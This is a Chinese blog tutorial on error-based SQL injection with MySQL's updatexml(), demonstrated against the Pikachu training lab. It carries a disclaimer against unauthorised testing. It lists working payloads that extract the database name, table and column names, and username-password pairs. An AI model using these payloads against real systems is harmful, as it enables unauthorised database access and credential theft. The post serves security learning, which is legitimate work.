详解SQL报错盲注


Posted in SQL Server onJuly 23, 2022

今天继续给大家介绍Linux运维相关知识,本文主要内容是SQL报错盲注详解。

免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!

一、SQL报错函数详解

updatexml();floor();extractvalue();等函数都可以用于构造SQL报错函数,今天我们主要来讲解使用updatexml()函数。
updatexml()函数使用格式如下:

updatexml(XML_document,XPath_string,new_value)

XML_document是String格式的XML文档名称,XPath_string是XPath格式的字符串,new_value是String格式的而字符串,用于替换查找到的符合条件的数据。
该函数有一个特性,即如果XPath_string不是XPath格式的字符串,就会报错并显示处XPath的值,因此,我们可以利用这一特性实现SQL报错盲注。此外,我们还可以利用updatexml()函数的特性,实现在SQL插入、删除等语句中的SQL注入。

二、SQL报错盲注payload构造

1、updatexml语句构造思路

updatexml()函数的构造,首先需要闭合SQL语句中的冒号、括号。其次还需要使用and或者or语句连接成一个单独的语句,这样即可成功执行updatexml()函数中的语句。
下面,我以皮卡丘靶场为例,来简单介绍一下updatexml报错注入payload的构造思路,皮卡丘靶场SQL insert/update型注入页面如下所示:

详解SQL报错盲注

从上图中可以看出,该页面功能上是提供人员的注册,因此可以猜测其内部是insert类型的SQL语句,因此我们可以在手机、住址等列(一般不要选择密码,因为很多网站都会把密码进行md5处理,从而导致我们的updatexml失效)中插入我们的updatexml语句。通过简单的实验可以得知,该站点的注入闭合为单引号,因此payload的构造格式为:

12' or updatexml() or'

2、查询当前数据库

当我们确定updatexml()函数的格式后,我们就可以写实际的payload语句了,相关命令如下所示:

12'or updatexml(1,concat(0x7e,database(),0x7e),0) or'

从上payload可以看出,updatexml()函数有三部分组成,我们需要把我们要执行的SQL语句写到第二部分,第二部分是一个concat()函数,之所以要拼接0x7e是因为该16进制字符是一个波浪线,也可以换成其他的字符。
该payload执行结果如下所示:

详解SQL报错盲注

从上图可以看出,我们当前的数据库名为pikachu。

3、查询表名

查询表名的payload如下所示:

12' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),0) or '

在上述payload中,concat中间的SQL语句要用括号括起来,然后写入正常的查询命令即可,该payload执行结果如下所示:

详解SQL报错盲注

从上图可以看出,我们查询到当前数据库存在一个名为httpinfo的表,如果我们更改limit的限制,那么我们可以得到更多的表。

4、查询列名

查询列名的payload如下所示:

12' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),0) or '

该payload构造原理与以上类似,执行结果如下所示:

详解SQL报错盲注

5、查询字段名

字段名查询的payload如下所示:

12' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='pikachu'),0x7e),0) or '

该payload构造原理与以上类似,执行结果如下所示:

详解SQL报错盲注

6、查询数据

数据查询的payload如下所示:

12' or updatexml(1,concat(0x7e,(select concat(username,'-',password) from users limit 0,1),0x7e),0) or '

该payload构造原理与以上类似,执行结果如下所示:

详解SQL报错盲注

到此这篇关于SQL报错盲注详解的文章就介绍到这了,更多相关SQL报错盲注内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

SQL Server 相关文章推荐
【HBU】数据库第四周 单表查询
Apr 05 SQL Server
SqlServer数据库远程连接案例教程
Jul 15 SQL Server
SQL语句中JOIN的用法场景分析
Jul 25 SQL Server
SQL写法--行行比较
Aug 23 SQL Server
sql server删除前1000行数据的方法实例
Aug 30 SQL Server
SQLServer中exists和except用法介绍
Dec 04 SQL Server
sql server 累计求和实现代码
Feb 28 SQL Server
使用SQL实现车流量的计算的示例代码
Feb 28 SQL Server
SQL Server的存储过程与触发器以及系统函数和自定义函数
Apr 10 SQL Server
SQL解决未能删除约束问题drop constraint
May 30 SQL Server
一次SQL查询优化原理分析(900W+数据从17s到300ms)
Jun 10 SQL Server
SQL bool盲注和时间盲注详解
Jul 23 #SQL Server
在SQL Server中使用 Try Catch 处理异常的示例详解
Jul 15 #SQL Server
SQL中的连接查询详解
Jun 21 #SQL Server
SQL Server数据库备份和恢复数据库的全过程
一次SQL查询优化原理分析(900W+数据从17s到300ms)
Jun 10 #SQL Server
SQL Server2019安装的详细步骤实战记录(亲测可用)
SQL Server携程核心系统无感迁移到MySQL实战
You might like
《PHP编程最快明白》第四讲:日期、表单接收、session、cookie
2010/11/01 PHP
微信公众号开发之文本消息自动回复php代码
2016/08/08 PHP
PHP实现Redis单据锁以及防止并发重复写入
2018/04/10 PHP
php的单例模式及应用场景详解
2021/02/27 PHP
Javascript操作select方法大全[新增、修改、删除、选中、清空、判断存在等]
2008/09/26 Javascript
jquery异步请求实例代码
2011/06/21 Javascript
使用jquery实现的一个图片延迟加载插件(含图片延迟加载原理)
2014/06/05 Javascript
js同源策略详解
2015/05/21 Javascript
Angular4 中常用的指令入门总结
2017/06/12 Javascript
详解用vue编写弹出框组件
2017/07/04 Javascript
浅谈angularJS的$watch失效问题的解决方案
2017/08/11 Javascript
基于vue.js中事件修饰符.self的用法(详解)
2018/02/23 Javascript
Vue实现左右菜单联动实现代码
2018/08/12 Javascript
小程序点赞收藏功能的实现代码示例
2018/09/07 Javascript
python中的内置函数getattr()介绍及示例
2014/07/20 Python
web.py中调用文件夹内模板的方法
2014/08/26 Python
Python解析命令行读取参数--argparse模块使用方法
2018/01/23 Python
单链表反转python实现代码示例
2018/02/08 Python
Python3.x爬虫下载网页图片的实例讲解
2018/05/22 Python
浅谈python多进程共享变量Value的使用tips
2019/07/16 Python
Python实现Singleton模式的方式详解
2019/08/08 Python
使用Python的turtle模块画国旗
2019/09/24 Python
flask框架自定义过滤器示例【markdown文件读取和展示功能】
2019/11/08 Python
Python实现自动访问网页的例子
2020/02/21 Python
Python爬虫:Request Payload和Form Data的简单区别说明
2020/04/30 Python
利用HTML5+CSS3实现3D转换效果实例详解
2017/05/02 HTML / CSS
Spartoo荷兰:鞋子、包包和服装
2018/07/12 全球购物
小学运动会广播稿200字(十二篇)
2014/01/14 职场文书
《小草和大树》教学反思
2014/02/16 职场文书
日化店促销方案
2014/03/26 职场文书
长城英文导游词
2015/01/30 职场文书
2015年妇幼保健工作总结
2015/05/19 职场文书
培训后的感想
2015/08/07 职场文书
jdbc使用PreparedStatement批量插入数据的方法
2021/04/27 MySQL
解决Python字典查找报Keyerror的问题
2021/05/26 Python
python opencv检测直线 cv2.HoughLinesP的实现
2021/06/18 Python